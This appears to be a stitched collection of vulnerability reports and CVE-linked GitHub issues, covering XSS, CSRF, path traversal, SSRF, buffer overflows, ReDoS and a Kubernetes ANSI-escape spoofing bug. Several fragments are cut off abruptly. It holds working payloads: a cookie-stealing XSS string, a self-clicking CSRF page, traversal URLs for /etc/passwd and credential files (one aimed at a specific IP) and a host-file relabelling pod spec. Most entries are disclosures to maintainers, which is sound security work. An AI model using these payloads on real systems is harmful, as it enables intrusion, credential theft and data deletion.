### Description
**Function**: Server_debug
**File**: servermodule.c
**Call-path**: recstart (Python) -> Server_start_rec -> Server_start_rec_internal -> Server_debug
**WarningType**: Write-overflow. Our analysis tool reported a warning at vsprintf in Server_debug. As buffer is a fixed size stack variable, when the debug mode is open, vsprintf may cause write overflow with no boundary check especially when the inputs depended on external modules (e.g., Python).

### Description
**Function**:
solve/spsolve/diag/getfactor
**Call-path**:
1. solve (Python) -> solve -> strncmp
2. spsolve (Python) -> spsolve -> strncmp
3. diag(Python) -> diag -> strncmp
4. getfactor(Python) -> getfactor-> strncmp
**WarningType**: Incomplete comparison.
Out analysis tool reported four warnings about the incomplete comparison of strings as shown above.
When the comparison length is 14, the terminator would be ignored. Hence even the strncmp returns 0, the reality may not match expectations specifically when variable descr depends on external inputs (Python).
For example, descr = "CHOLMOD FACTORMalicious", the comparison still return 0.

] | This XSS vulnerability was found in the system bulletin(系统公告) in the background.
**payload:**
> </textarea>\<details open="" ontoggle=alert(document.cookie)>\<textarea>
First we can write payload with a low-privileged user named 'test'.As an attacker, you can change a title to prompt an administrator to click on this page.
Then log in to the admin account and click the change(修改) button to pop up the admin's cookie.
The reason for the vulnerability is that php code uses blacklists to filter JS code, resulting in poor filtering.
This method can be used to steal admin's cookie.

# Details
The GET request for deleting a book with `ISBN=12345` looks like this:
```
http://127.0.0.1:8888/admin_delete.php?bookisbn=12345
```
Changing the value of the `bookisbn` parameter under admin privilege will delete the book with that ISBN.
A remote attacker can embed the request into an innocent-looking hyperlink:
```
<a href="http://127.0.0.1:8888/admin_delete.php?bookisbn=12345">View</a>
```
# Step to reproduce
1. First, create a malicious HTML page then host a website containing that page.
### PoC:
```
<html>
<head>
<title>CSRF PoC</title>
</head>
<body>
<p>CSRF PoC</p>
<a id='link' href="http://127.0.0.1:8888/admin_delete.php?bookisbn=12345">View</a>
<script>
document.getElementById('link').click();
</script>
</body>
</html>
```
2. Entice the admin to click on the link to the malicious site. When the admin browses to that site, the link would be automatically clicked via JavaScript and the book will be deleted.

] | 您好，我在lemon v1.10.0中编辑组件处发现存在存储型XSS
**有效负荷：**
<script>alert('cookie')</script>
文件名：src\main\java\com\mossle\portal\web\PortalController.java
line : 96~151
代码：
```
@RequestMapping("save")
public String save(@RequestParam(value = "id", required = false) Long id,
@RequestParam("portalWidgetId") Long portalWidgetId,
@RequestParam("portalItemName") String portalItemName) {
String userId = currentUserHolder.getUserId();
PortalInfo portalInfo = this.copyOrGetPortalInfo(userId);
PortalWidget portalWidget = portalWidgetManager.get(portalWidgetId);
PortalItem portalItem = null;
if (id == null) {
portalItem = new PortalItem();
Integer columnIndex = (Integer) portalItemManager
.findUnique(
"select min(columnIndex) from PortalItem where portalInfo=?",
portalInfo);
if (columnIndex == null) {
columnIndex = 0;
}
Long rowIndexLong = (Long) portalItemManager
.findUnique(
"select count(*) from PortalItem where portalInfo=? and columnIndex=?",
portalInfo, columnIndex);
if (rowIndexLong == null) {
rowIndexLong = 0L;
}
int rowIndex = rowIndexLong.intValue();
portalItem.setColumnIndex(columnIndex);
portalItem.setRowIndex(rowIndex);
portalItem.setPortalInfo(portalInfo);
} else {
portalItem = this.createOrGetPortalItem(portalInfo, id);
}
portalItem.setName(portalItemName);
portalItem.setPortalWidget(portalWidget);
portalItemManager.save(portalItem);
return "redirect:/portal/index.do";
}
@RequestMapping("remove")
public String remove(@RequestParam("id") Long id) {
String userId = currentUserHolder.getUserId();
PortalInfo portalInfo = this.copyOrGetPortalInfo(userId);
PortalItem portalItem = this.createOrGetPortalItem(portalInfo, id);
portalItemManager.remove(portalItem);
return "redirect:/portal/index.do";
}
```
这里没有对portalItemName字段未进行过滤或者实体化编码导致可执行js代码
**利用：**
我发现portalItemName没有限制输出，进行构造有效负荷
**POC**
```

Place of backstage exists Csrf Vulnerability,attacker Structure a csrf payload,Once the administrator clicks on the malicious link, the component information is automatically add.
There is an xss in the place of Editing component
We can write an xss first, and then construct the csrf code, so that after the account clicks on the malicious link of the attacker, it will execute csrf, and the website will have an xss. As long as the account visits the page , he can get him Cookie

CVE-2021-44273 | 2021-12-23T12:15:07.387 | e2guardian v5.4.x <= v5.4.3r is affected by missing SSL certificate validation in the SSL MITM engine. In standalone mode (i.e., acting as a proxy or a transparent proxy), with SSL MITM enabled, e2guardian, if built with OpenSSL v1.1.x, did not validate hostnames in certificates of the web servers that it connected to, and thus was itself vulnerable to MITM attacks. | {

] | I tried e2guardian in a virtual machine today, running it as a standalone transparent proxy with SSL MITM, with the following iptables rules that redirect traffic to it (where 974 is the uid of the user that e2guardian runs as):
```
iptables -t nat -A OUTPUT -p tcp -m owner ! --uid-owner 974 -m tcp --dport 443 -j REDIRECT --to-ports 8443
iptables -t nat -A OUTPUT -p tcp -m owner ! --uid-owner 974 -m tcp --dport 80 -j REDIRECT --to-ports 8080
```
I found that e2guardian enables browser connections to sites that it should not allow. One example is https://wrong.host.badssl.com/
This is very serious, because anyone on the path, who can intercept the connection or poison the DNS cache and thus redirect e2guardian's outgoing connection to a host under his control, now can perform a successful MITM attack. All he needs is any valid certificate - e2guardian will accept it for any host.

CVE-2021-43854 | 2021-12-23T18:15:07.327 | NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. Versions prior to 3.6.5 are vulnerable to regular expression denial of service (ReDoS) attacks. The vulnerability is present in PunktSentenceTokenizer, sent_tokenize and word_tokenize. Any users of this class, or these two functions, are vulnerable to the ReDoS attack. In short, a specifically crafted long input to any of these vulnerable functions will cause them to take a significant amount of execution time. If your program relies on any of the vulnerable functions for tokenizing unpredictable user input, then we would strongly recommend upgrading to a version of NLTK without the vulnerability. For users unable to upgrade the execution time can be bounded by limiting the maximum length of an input to any of the vulnerable functions. Our recommendation is to implement such a limit. | {

] | Hi NLTK team,
I have a string that I pass to `word_tokenize` (which uses `PunktSentenceTokenizer` under the hood), and the call hangs. The string in question is taken from Wikipedia and is the result of some vandalism. It can be generated by this
```
text = 'swirley thing w' + 'e' * (884779 - len('swirley thing w'))
```
The call seems to hang, I did not go deep too much but after running this for a couple of hours I just stopped the process.
What would be an ok solution to process this in a robust fashion? I have a pipeline that has correct sentences as well as, from time to time, this kind of sentences. | word_tokenize/EN hangs on incorrect strings | https://api.github.com/repos/nltk/nltk/issues/2866/comments | 4 | 2021-10-26T21:56:15Z | 2021-11-26T11:58:19Z | https://github.com/nltk/nltk/issues/2866 | 1,036,775,249 | 2,866 | 2,922 |

CVE-2021-43862 | 2021-12-30T15:15:07.470 | jQuery Terminal Emulator is a plugin for creating command line interpreters in your applications. Versions prior to 2.31.1 contain a low impact and limited cross-site scripting (XSS) vulnerability. The code for XSS payload is always visible, but an attacker can use other techniques to hide the code the victim sees. If the application uses the `execHash` option and executes code from URL, the attacker can use this URL to execute their code. The scope is limited because the javascript attribute used is added to span tag, so no automatic execution like with `onerror` on images is possible. This issue is fixed in version 2.31.1. As a workaround, the user can use formatting that wrap whole user input and its no op. The code for this workaround is available in the GitHub Security Advisory. The fix will only work when user of the library is not using different formatters (e.g. to highlight code in different way). | {

] | ### What did you do?
`python3 -c 'import ujson; print(ujson.encode({"a": True}, indent=65539))' >/dev/null`
This is the smallest value that triggers the segfault on my machine with this build of ujson. I'm sure it's no coincidence that it's slightly larger than 64 KiB.
### What did you expect to happen?
Properly (if poorly) formatted output
### What actually happened?
SIGSEGV
### What versions are you using?
* OS: Debian Sid
* Python: 3.10.1
* UltraJSON: 316d384f
---
I think the reason might lie in the fact that the `Buffer_Reserve` call in `encode` does not appear to account for indentation at all. I wouldn't be surprised if other things could also trigger buffer overruns in certain conditions, e.g. the absence of `JSON_NO_EXTRA_WHITESPACE` causing the insertion of extra spaces.
#334 and #402 might be symptoms of the same underlying bug. Note that they both use indentation. | Segmentation fault with large indent | https://api.github.com/repos/ultrajson/ultrajson/issues/501/comments | 3 | 2022-02-06T01:14:09Z | 2022-10-19T05:50:15Z | https://github.com/ultrajson/ultrajson/issues/501 | 1,125,073,687 | 501 | 2,932 |

] | Hi
Recently [CVE-2021-45958](https://www.cve.org/CVERecord?id=CVE-2021-45958) was published which is an assignment due to the oss-fuzz report in
https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=36009
see as well https://github.com/google/oss-fuzz-vulns/blob/main/vulns/ujson/OSV-2021-955.yaml
This reference says:
events:
- introduced: a920bfa9d85bcd78836b866d1be80c1e3dcca1da
- fixed: 5525f8c9ef8bb879dadd0eb942d524827d1b0362
where though the 5525f8c9ef8bb879dadd0eb942d524827d1b0362 refers to a change in the AFL++ fuzzer:
https://github.com/AFLplusplus/AFLplusplus/commit/5525f8c9ef8bb879dadd0eb942d524827d1b0362 (see https://oss-fuzz.com/revisions?job=libfuzzer_asan_ujson&range=202112170603:202112180609).
Quoting a mail from MITRE:
Some of the possibilities are:
1. There was never a buffer overflow. It was simply an artifact
of an older version of the AFLplusplus fuzzing software.
2. There still is a buffer overflow, but it is no longer
detected. In particular, the introduced value above
corresponds to
https://github.com/ultrajson/ultrajson/commit/a920bfa9d85bcd78836b866d1be80c1e3dcca1da
-- this has function names that mention the "Buffer Append
Unchecked" words. One might guess that "Unchecked" means
accepting the risk of a buffer overflow.
MITRE confirmed that the CVE could be rejected if it can be confirmed that the reproducer testcase from https://oss-fuzz.com/download?testcase_id=5751832088543232 does not have a buffer overflow for the ujson.encode call shown in https://github.com/google/oss-fuzz/blob/master/projects/ujson/hypothesis_structured_fuzzer.py
for UltraJSON 4.0.2.
Do you have any more insights here?

] | Back in 2015, Tyson Smith (@tysmith) [reported](https://bugzilla.mozilla.org/show_bug.cgi?id=1217609) invalid left shifts at 5 places in libexpat to Mozilla. 3 of these bad shifts had also been [reported](https://sourceforge.net/p/expat/bugs/529/) by Dingbao Xie (@xiedingbao), and been fixed in commit 2106ee4050fd0d30e776e1c5a48937bb76a17074 and release 2.2.0 in 2016; this ticket is meant to explain my evaluation of those 2 remaining bad shifts, as a reference, for anyone interested, and to allow review and correction as needed.
For short, there is security issue in libexpat that affects even the oldest releases, >=1.95.7 at least (commit b28869898a5bc870e620edce09a5e65b4d556ba7). Probably not one to panic about.
The [related code](https://github.com/libexpat/libexpat/blob/60bbbe560cb50e6bfbf93ed765aaeb38335487c3/expat/lib/xmlparse.c#L3417-L3430) in function `storeAtts` in `lib/xmlparse.c` is this:
```c
int nsAttsSize = (int)1 << parser->m_nsAttsPower;
[..]
nsAttsSize = (int)1 << parser->m_nsAttsPower;
[..]
temp = (NS_ATT *)REALLOC(parser, parser->m_nsAtts,
nsAttsSize * sizeof(NS_ATT));
```
It should be noted that:
- The related code is triggered by XML documents that contain tags with prefixed attributes (e.g. `<r xmlns:a="[..]" a:a123="[..]" [..] />`.
- The `(int)` cast doesn't do anything, `1` is `int` by default.
- A left shift on signed int by >=31 bits is undefined behavior for `sizeof(int)==4`.
- For the multiplication in `nsAttsSize * sizeof(NS_ATT)`:
- `sizeof` returns a `size_t`, unsigned and larger or equal to `int` in size, depending on machine architecture.
- signed `nsAttsSize` is promoted to unsigned(!) `size_t` in context of that multiplication.
- The value of `m_nsAttsPower` is derived from the number of prefixed attributes in the tag. If we include the namespace declaration attribute in that number, the math is `atts_power := int(math.log2(atts_count - 1)) + 2` (thinking Python). So to see `m_nsAttsPower` value 29 in memory, we need 2^(29-2)+1 prefixed XML attributes.
From here on, behavior of the code depends on the machine architecture, in particular the sizes of types `int` and `size_t`; so we get different behavior on e.g. 32bit x86 than on 64bit amd64. In detail:
```
| x86 (32bit int and size_t) | amd64 (32bit int, 64bit size_t)
------------------+------------------------------------+---------------------------------
m_nsAttsPower 29 | (size_t)(1 << 29) * (4+4+4) | (size_t)(1 << 29) * (8+8+8)
| => 2_147_483_648, mult overflow | >= 12_884_901_888
| => allocating too few bytes | => mallocs okay or returns NULL
| |
m_nsAttsPower 30 | (size_t)(1 << 30) * (4+4+4) | (size_t)(1 << 30) * (8+8+8)
| => 0, mult overflow | => 25_769_803_776
| => realloc acts as free | => mallocs okay or returns NULL
| |
m_nsAttsPower 31 | (size_t)(1 << 31) * (4+4+4) | (size_t)(1 << 31) * (8+8+8)
| => undefined behavior | => undefined behavior
| |
```
To summarize the problem,
- `m_nsAttsPower<=28` is fine on both platforms.
- `m_nsAttsPower==29` will allocate too few bytes on 32bit, fine on 64bit.
- `m_nsAttsPower==30` makes realloc act like free on 32bit, fine on 64bit.
- `m_nsAttsPower>=31` is undefined behavior is denial of service (or more) on both platforms.
The fix will have these parts:
- First, detect and prevent left shifts by `sizeof(int) * 8 - 1` or more bits.
- Second, detect and prevent integer overflow on `nsAttsSize * sizeof(NS_ATT)`.
- (Third, turn `int` into `unsigned int` to make the code more clear, close the door to undefined behavior, and allow even `1u << 31`.)
A pull request and likely a CVE are upcoming, and there will be a soon release 2.4.3.
Because thy payload to trigger the vulnerability is in the gigabytes, *remote* exploitability will hopefully be stopped by upload limits in most setups, before even getting to libexpat. Even when generating attribute names using the base58 scheme for short non-overlapping names, an XML file with e.g. 2^29+1 attributes on a single tag is ~6.5 GiB in size.
I have a Python >=3.6 script to create XML files like that online at https://gist.github.com/hartwork/ccad94d00c4193e05ab57de70021e6ee.
Best, Sebastian

There is a proof of concept for a XSS on admin/limits.php for Dolibarr 7.0.2
(see https://github.com/mustgundogdu/Research/tree/main/Dolibar_7.0.2-StoredXSS).
It would be useful to have a check/ statement if the problem still exist in newer versions, or it is already fixed (and if so, in which version).

CVE-2021-43816 | 2022-01-05T19:15:08.717 | containerd is an open source container runtime. On installations using SELinux, such as EL8 (CentOS, RHEL), Fedora, or SUSE MicroOS, with containerd since v1.5.0-beta.0 as the backing container runtime interface (CRI), an unprivileged pod scheduled to the node may bind mount, via hostPath volume, any privileged, regular file on disk for complete read/write access (sans delete). Such is achieved by placing the in-container location of the hostPath volume mount at either `/etc/hosts`, `/etc/hostname`, or `/etc/resolv.conf`. These locations are being relabeled indiscriminately to match the container process-label which effectively elevates permissions for savvy containers that would not normally be able to access privileged host files. This issue has been resolved in version 1.5.9. Users are advised to upgrade as soon as possible. | {

When running rke2/k3s pointing at our bundled (or stock) containerd, one can apply an unprivileged pod that relabels `/etc/hosts` on the host by mounting a hostPath `/etc/hosts` volume at the same location in the container:
```yaml
apiVersion: v1
kind: Pod
metadata:
name: test-agnhost
spec:
containers:
- image: k8s.gcr.io/e2e-test-images/agnhost:2.32
name: agnhost-1
args:
- pause
volumeMounts:
- mountPath: /etc/hosts
name: host-etc-hosts
volumes:
- name: host-etc-hosts
hostPath:
path: /etc/hosts
type: FileOrCreate
```
### Steps to reproduce the issue
1. Install RKE2 on CentOS 8.x with SELinux enabled (the default when installed via https://get.rke2.io)
2. Establish that your `/etc/hosts` is correctly labeled:
```
[vagrant@node-1 ~]$ ls -alZ /etc/hosts
-rw-r--r--. 1 root root system_u:object_r:net_conf_t:s0 182 Nov 2 00:11 /etc/hosts
[vagrant@node-1 ~]$
```
3. Apply this pod spec:
```yaml
apiVersion: v1
kind: Pod
metadata:
name: test-agnhost
spec:
containers:
- image: k8s.gcr.io/e2e-test-images/agnhost:2.32
name: agnhost-1
args:
- pause
volumeMounts:
- mountPath: /etc/hosts
name: host-etc-hosts
volumes:
- name: host-etc-hosts
hostPath:
path: /etc/hosts
type: FileOrCreate
```
4. Wiat for the pod to spin up then check your `/etc/hosts`:
```
[vagrant@node-1 ~]$ ls -alZ /etc/hosts
-rw-r--r--. 1 root root system_u:object_r:container_file_t:s0:c31,c726 182 Nov 2 00:11 /etc/hosts
```
```
[vagrant@node-1 ~]$ ps auxZ | grep c31,c726 | grep -v grep
system_u:system_r:container_t:s0:c31,c726 65535 31673 0.0 0.0 972 4 ? Ss 00:27 0:00 /pause
system_u:system_r:container_t:s0:c31,c726 root 31753 0.0 1.2 740120 26100 ? Ssl 00:27 0:00 /agnhost pause
```
---
### Describe the results you received and expected
Expected: `/etc/hosts` retained `net_conf_t` type label with no categories
Received: `/etc/hosts` relabeled to `container_file_t` with category labels specific to the container that bind-mounted it
### What version of containerd are you using?
v1.5.7 (and v1.5.7-k3s1)
### Any other relevant information
```
$ kubectl get node -o wide
NAME STATUS ROLES AGE VERSION INTERNAL-IP EXTERNAL-IP OS-IMAGE KERNEL-VERSION CONTAINER-RUNTIME
node-1 Ready control-plane,etcd,master 15m v1.22.3+rke2r1 192.168.121.104 <none> CentOS Stream 8 4.18.0-277.el8.x86_64 containerd://1.5.7-k3s1
```
---
First seen while running k8s e2e conformance via sonobuoy against rke2 v1.22.2-rc1+rke2r1 (most recently against v1.22.3-rc1+rke2r1): https://github.com/rancher/rke2/issues/2068
_(Also seen with k3s 1.22.x that also ships with containerd v1.5.7)_
### Show configuration if it is related to CRI plugin.

] | On 2021-12-24, a member of [Trend Micro Zero Day Initiative](https://www.zerodayinitiative.com/) ("ZDI") shared a vulnerability named `ZDI-CAN-16157` in libexpat with me that has been discovered by an anonymous individual working with Trend Micro ZDI. I would like to thank both Trend Micro and the anonymous individual for their whitehat work on libexpat security. Thank you! :pray:
Similar to ticket #531, the issue is an integer overflow (in multiplication) near a call to `realloc` that takes a ~2 GiB size craft XML file, and then will cause denial of service or more. The issue exists since commit 347e19a6586bfafbbf76186e47758ec0fad3d731 and hence affects even the oldest (pre-)releases.

A pull request and likely a CVE are upcoming, and there will be a soon release 2.4.3.

after login ,we can see our sid in cookies
for example my sid is 161099c65675803ecc8de95ae08d3e12
then you can get arbitrary file by
`/navigate/navigate_download.php?sid=161099c65675803ecc8de95ae08d3e12&id=....//....//....//....//etc/passwd`
`/navigate/navigate_download.php?sid=161099c65675803ecc8de95ae08d3e12&id=....//....//cfg/globals.php` you can get some Sensitive information such as mysql user/password
## analysis
location:navigate_download.php
and in navigate\lib\core\core.php
we can rewrite bypass this filter.
## suggest
you can use replace('../', "hacker") rather than replace('../', "")

The cause of this bug is the lack of boundary checks. Specifically, in the `parseSWF_DEFINELOSSLESS2` function, the size of `end` and `fileOffset` is not compared when `readBytes` is called. As a result, `end-fileOffset` may be a negative integer, which eventually leads to allocation failure.
The detailed call chain analysis is as follows.

"kubernetes",
"kubernetes"
] | It is a security issue, but after contacting security@kubernetes.io, Tim and the team confirmed that they are comfortable posting it publicly.
#### What happened:
Kubernetes doesn't sanitize the 'message' field in the Event JSON objects.
Notice that this is relevant only to JSON objects, not YAML objects.
By creating new event, we can insert ANSI escape characters inside the "message" field, like:
```
"\u001b[2J\u001b[3J\u001b[1;1H\u001b[m spoofed \u001b[60C\u001b[1;0m. Done"
```
This an example of such JSON request:
```
{
"apiVersion": "v1",
"involvedObject": {
"kind": "Node",
"name": "node01",
"uid": "node01"
},
"kind": "Event",
"message": "\u001b[2J\u001b[3J\u001b[1;1H\u001b[m spoofed \u001b[60C\u001b[1;0m. Done",
"metadata": {
"name": "spoofEvent",
"namespace": "default"
},
"source": {
"component": "kubelet",
"host": "node01"
},
"type": "Normal"
}
```
The codes:
`\u001b[2J` -> Clean the screen and history
`\u001b[3J` -> Clean the entire screen and delete all lines saved in the scrollback buffer
`\u001b[1;1H` -> Moves the cursor position to row 1, column 1 (beginning).
`\u001b[m` -> Set the colors
`\u001b[60C` -> Move the cursor forward 60 steps
`\u001b[1;1m` -> Set the text colors to white
The result is that the text was spoofed, and we could spoof the events, create hidden events, or hide other events.
#### What you expected to happen:
The ANSI escape characters will be filtered so they couldn't affect the terminal (i.e. using embeded ANSI colors won't do anything to the terminal).
Or maybe some message that says that you can't use ANSI escape characters.
#### How to reproduce it (as minimally and precisely as possible):
1. Run this code:
```
kubectl create -f - <<EOF
{
"apiVersion": "v1",
"involvedObject": {
"kind": "Node",
"name": "node01",
"uid": "node01"
},
"kind": "Event",
"message": "\u001b[2J\u001b[3J\u001b[1;1H\u001b[m spoofed \u001b[60C\u001b[1;0m. Done",
"metadata": {
"name": "spoofEvent",
"namespace": "default"
},
"source": {
"component": "kubelet",
"host": "node01"
},
"type": "Normal"
}
EOF
```
It will create a new event.
2. Run `kubectl get events`, you will see that the screen was clear, you will get a "spoof" message, and all the rest events or columns were gone.
#### Anything else we need to know?:
It might look like a low severity issue, but there are other variety of things we can do, from DoS by using colors to hide all the events, changing the title of the terminal window, and spoof the data.
It can affect other systems that are using Kubernetes events, such as monitoring applications. It doesn't have to be only the Kubernetes events. There might be other vulnerable objects that we didn't find or other systems that create new objects that count on this mechanism.
ANSI escape characters were used to abuse terminals emulators and even cause code execution if the terminal is vulnerable (like CVE-2003-0069).
#### Environment:
- Kubernetes version (use `kubectl version`):
```

] | In `image_load_bmp()`, the `colors_used` variable is read from the BMP file header and directly used to read into a fixed-size buffer.
```c
static int /* O - 0 = success, -1 = fail */
image_load_bmp(image_t *img, /* I - Image to load into */
FILE *fp, /* I - File to read from */
int gray, /* I - Grayscale image? */
int load_data)/* I - 1 = load image data, 0 = just info */
{
...
uchar colormap[256][4];
...
colors_used = read_dword(fp);
...
fread(colormap, colors_used, 4, fp);
...
}
```
A maliciously crafted BMP file could set the `colors_used` variable to a number big enough to overflow the stack and thus the return address. I am attaching a proof of concept below. It can be tested with: `./htmldoc --webpage -f out.pdf ./poc.html`

] | The fix for the issue [stack buffer overflow before 1.9.13](https://github.com/michaelrsweet/htmldoc/issues/453) does not completely protect against a stack buffer overflow in `image_load_bmp()`.
It is possible to control the read in buffer `colormap` through the `colors_used` variable. The previous fix does not mitigate the issue as the `color_used` is an `integer`, therefore, regardless of the `unsigned` return of `read_dword(fp)` the buffer can be overflowed.
```
static int /* O - 0 = success, -1 = fail */
image_load_bmp(image_t *img, /* I - Image to load into */
FILE *fp, /* I - File to read from */
int gray, /* I - Grayscale image? */
int load_data)/* I - 1 = load image data, 0 = just info */
{
...
uchar colormap[256][4];
...
colors_used = (int)read_dword(fp);
...
// Get colormap...
if (colors_used == 0 && depth <= 8)
colors_used = 1 << depth;
else if (colors_used > 256) // colors_used => 0xffffff00 --> -0x100
return (-1);
...
fread(colormap, colors_used, 4, fp);
...
}
```
As an example, if `colors_used` is `0xffffff00` the if statement validates the variable and leads to a buffer overflow.
**Impact**
- This buffer overflow can lead to modifying the instruction pointer and can therefore lead to remote code execution.

# Bug description
In PartKeepr before **v1.4.0**, the functionality to load attachments using a URL when creating a part, allows the use of the **file://** URI scheme, allowing local files to be read.
## Steps to reproduce
1. Go to 'Add Part'.
2. Click on 'Attachments'.
2. Click on 'Add'.
3. Fill the 'URL' field with "file:///etc/passwd".
4. Click on the uploaded file in order to see the content.
## Expected behavior
The application should not allow access to local files.
## Observed behavior
Local paths can be used to read files on the system.
## Screenshots and files
## System Information
* PartKeepr Version: v1.4.0 and v0.1.9
* Operating System: Linux
* Web Server: Apache
* PHP Version: 7.4
* Database and version: Mysql
* Reproducible on the demo system: Yes.

# Bug description
In PartKeepr before **v1.4.0**, the functionality to upload attachments using a URL when creating a part, does not validate that requests can be send to local ports, allowing SSRF attacks and port enumeration.
## Steps to reproduce
1. Go to 'Add Part'.
2. Click on 'Attachments'.
2. Click on 'Add'.
3. Fill the 'URL' field with an url using a local port "http://127.0.0.1:3306".
4. Click on the uploaded file in order to download the file and see the content.
## Expected behavior
The application should not allow access to local ports.
## Observed behavior
Local ports can be access inside the server.
## Screenshots and files
## System Information
* PartKeepr Version: v1.4.0 and v0.1.9
* Operating System: Linux
* Web Server: Apache
* PHP Version: 7.4
* Database and version: Mysql
* Reproducible on the demo system: Yes.

There is a **serious security problem** in your code.
About a few weeks ago, I found a function point in your website background that can lead to arbitrary file download
But it must use a account and password.
However, I found a new way to download any file in **unauth.**
That means I can download any file **without authorization without using my account and password**.
Here is the example
<img width="1011" alt="1" src="https://user-images.githubusercontent.com/58387576/144038222-de93b9bc-cfac-430a-9c65-25695a97d212.png">
Target: http://106.15.186.197:8080
And the http data is:
`GET /images;/../backup/download?fileName=../../../../../../../../etc/passwd HTTP/1.1

CVE-2022-21672 | 2022-01-10T21:15:08.043 | make-ca is a utility to deliver and manage a complete PKI configuration for workstations and servers. Starting with version 0.9 and prior to version 1.10, make-ca misinterprets Mozilla certdata.txt and treats explicitly untrusted certificates like trusted ones, causing those explicitly untrusted certificates trusted by the system. The explicitly untrusted certificates were used by some CAs already hacked. Hostile attackers may perform a MIM attack exploiting them. Everyone using the affected versions of make-ca should upgrade to make-ca-1.10, and run `make-ca -f -g` as the `root` user to regenerate the trusted store immediately. As a workaround, users may delete the untrusted certificates from /etc/pki/tls and /etc/ssl/certs manually (or by a script), but this is not recommended because the manual changes will be overwritten next time running make-ca to update the trusted anchor. | {

] | Reported by Robert Bartel via blfs-dev, and it also happens on my system:
Just recently I noticed that the /etc/pki/tls/certs/ca-bundle.crt generated by
make-ca 1.9 includes two explicitly distrusted certificates as indicated by
their comments:
```
# Explicitly Distrust DigiNotar Root CA
# Explicitly Distrusted DigiNotar PKIoverheid G2
```
It seems to me that p11-kit and OpenSSL can explicitly distrust certificates in
their CA stores for various usage purposes while the PEM bundle format
(ca-bundle.crt) used mainly by GnuTLS does not support this. So my
interpretation is that all applications using the bundles will trust these bad
certificates.
As make-ca uses p11-kit's "trust extract" utility to generate the PEM bundles, I
looked in trust/extract-pem.c of p11-kit 0.24. Here it looks like it iterates
over all certificates in the CA store and the trust status is only indicated by
the generated comment line. But I could be wrong.
I'm not wanting to create a GitHub account right now to report the issue to the
p11-kit project, so I first ask here if anyone can confirm or reject this?
For the time being I resorted to remove the bad certificates by using the
following command line:
```
for file in /etc/pki/tls/certs/*.crt; do
awk -- '/^# Explicitly Distrust/ { delcert = 1 }
!delcert { print }
/^-----END/ { delcert = 0 }' "${file}" >"${file}.tmp"
mv -vf "${file}.tmp" "${file}"
chmod -v 444 "${file}"
done
```
Thank you for reading this and keep up the good work! | /etc/pki/tls and /etc/ssl/certs include distrusted certificates | https://api.github.com/repos/lfs-book/make-ca/issues/19/comments | 0 | 2022-01-08T15:44:30Z | 2023-10-03T10:06:38Z | https://github.com/lfs-book/make-ca/issues/19 | 1,096,962,233 | 19 | 2,972 |

Description: Access violation near NULL on source operand
Short description: SourceAvNearNull (16/22)
Hash: a5cc92255fba44e928c1a0bb49438db1.a5cc92255fba44e928c1a0bb49438db1
Exploitability Classification: PROBABLY_NOT_EXPLOITABLE
Explanation: The target crashed on an access violation at an address matching the source operand of the current instruction. This likely indicates a read access violation, which may mean the application crashed on a simple NULL dereference to data structure that has no immediate effect on control of the processor.
Other tags: AccessViolation (21/22)
